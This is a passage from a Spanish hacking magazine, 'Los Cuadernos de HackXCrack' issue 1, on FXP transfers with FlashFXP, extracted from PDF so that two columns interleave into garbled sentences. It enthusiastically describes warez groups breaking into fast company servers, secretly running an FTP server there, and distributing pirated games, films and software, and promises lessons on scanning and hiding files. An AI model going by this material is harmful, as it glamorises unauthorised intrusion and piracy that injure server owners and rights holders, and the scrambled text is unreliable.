pantalla!!! servidores FTP la opción de Bounce Attack e intentad Aspear entre vuestros dos servidores, veremos que ya no podemos :) • Haced todo lo que se os ocurra, cambiad los permisos de acceso en vuestros Servidores y experimentad lo que podéis y no podéis hacer. Este mundillo se basa en el conocimiento y la experiencia, es tan importante lo uno como otro, debemos devorar con verdadera ansiedad tanto la sección de TCP/IP como practicar LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 2 6
  • 27. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k mejor. Quien lea este artículo y sea curioso Piensa una cosa: ningún Hacker es un lo primero que hará es ir a (por ejemplo) experto en todo, pero sí tienen www.downloads.com y buscará por la conocimientos básicos/medios de casi todo palabra FTP, descargará todos los y suelen ser expertos en un par de temas Servidores FTP y todos los Clientes FTP, (cada uno elige su camino). No se necesita los instalará y empezará a experimentar. ser experto programador en 50 lenguajes Cuando domine un par de ellos, le será distintos, pero sí conocer al menos un par sencillo dominar los otros 50 programas de ellos en profundidad y tener de FTP, porque se basan en lo mismo, no conocimientos generales de la sintaxis del porque sea un genio :) Esto es importante resto. Lo importante es precisamente la que lo tengáis en cuenta, porque con el asombrosa capacidad que uno adquiere tiempo almacenaréis experiencia de con el tiempo, por ejemplo ser capaz de muchos temas y llegará el día que decidiréis aprender un nuevo lenguaje de especializaros en un par de ellos, en programación apenas leyendo un manual aquellos que realmente os hallan llegado y las instrucciones básicas, porque en el al alma, que quizás sean los que mas fondo los conceptos son muy parecidos, habéis llegado a odiar porque no lo único que cambia es la forma y las comprendíais en un primer momento (a facilidades que casa sistema nos ofrece. veces la revelación tarda varios años y quizás a algunos nunca les llegue, es casi Hagamos un paralelismo para entenderlo esotérico :). LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 2 7
  • 28. HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO - FXPEANDO HackXCrack HackXCrack HackXCrack HackXCrack HackXCrack HackXCrac k :)) 7.- UNDERGROUND: Pequeña referencia a los Foros FXP. El FXP es utilizado por la elite de estos foros para mover datos rápidamente. El FXP es utilizado habitualmente por los Suelen hackear máquinas con conexiones Grupos Warez de Internet, por ejemplo rápidas (normalmente servidores de en los FOROS FXP. empresa) y una vez consiguen “penetrar” en esos sistemas introducen un Servidor Un foro de FXP es donde se reúnen una FTP (si, si, en muchos casos exactamente serie de individuos y se dedican a el Serv-U 2.5e :)) y lo ejecutan de forma "compartir" todo tipo de archivos, desde oculta (eso os suena, ¿verdad? ). De esa el último juego que saldrá al mercado la forma updatan/suben a esos FTPs las semana que viene hasta la última película últimas novedades y lo anuncian en sus de cine que se estrenará en España dentro foros para que todos puedan descargarlos de unos meses :) a una buena velocidad Es un tema apasionante del que he disfrutado durante Si, si, no penséis que eso es imposible, años, así que sintiéndolo mucho dejaré imaginad que tengo una tienda de los detalles para otra ocasión:). Informática o soy montador de Equipos en una cadena importante, pues entonces tengo acceso al Windows XP antes de que 8.- Más cosas sobre el FXP. salga al mercado :)… o soy el transportista, o tengo un videoclub, o soy representante, Ya sabemos lo básico, utilizar el FlashFXP o distribuidor, o estoy en aduanas, o como un simple Cliente FTP (transferencia simplemente viajo mucho… je, je, je… ¿os de archivos entre nuestro disco duro y un dais cuenta? No sólo es posible sino que Servidor FTP) y hacer FXP (transferencia únicamente hace falta conocer donde se directa entre Servidores FTP). Ahora mueve todo este mundillo para disponer recorreros los menús y experimentad con GRATIS de todo el Software que existe las opciones, aquí haremos mención a (Software y todo lo que nos imaginemos). unos cuantos puntos que no debemos pasar por alto: En próximos números trataremos en profundidad estos foros :) y os · Menu Options --> Preferences -> explicaremos cómo ingresar en ellos, pero Pestaña Options --> Enable Anti-Idle ya puedes ponerte a trabajar, porque Normalmente los Servidores FTP activan necesitarás presentarles un par de PUBS la Opción Idle Time Out. Recordad lo que (ya os lo explicaremos) con unos 3GB para pasaba cuando estabais conectados al compartir, y eso implica que tenemos que Servidor FTP de Microsoft durante mas de a p r e n d e r a e s c a n e a r, u p d a t a r, 5 minutos sin hacer nada: te desconectaba. proteger/ocultar ficheros y mil cosas mas… (bueno, en próximos números ya os lo Pues bien, esta opción del FlashFXP te explicaré muy, muy, muy detalladamente permite enviar una orden al Servidor cada LOS CUADERNOS DE HACKXCRACK -- NÚMERO 1 p á g . 2 8